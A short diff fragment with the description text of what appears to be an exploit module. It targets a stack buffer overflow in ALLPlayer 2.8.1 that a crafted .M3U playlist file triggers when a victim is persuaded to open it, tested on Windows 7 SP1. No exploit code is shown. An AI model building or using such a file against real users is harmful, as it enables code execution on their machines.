+          This module exploits a stack-based buffer overflow vulnerability in
+        ALLPlayer 2.8.1, caused by a long string in a playlist entry.
+        By persuading the victim to open a specially-crafted .M3U file, a
+        remote attacker could execute arbitrary code on the system or cause
+        the application to crash. This module has been tested successfully on
+        Windows 7 SP1.
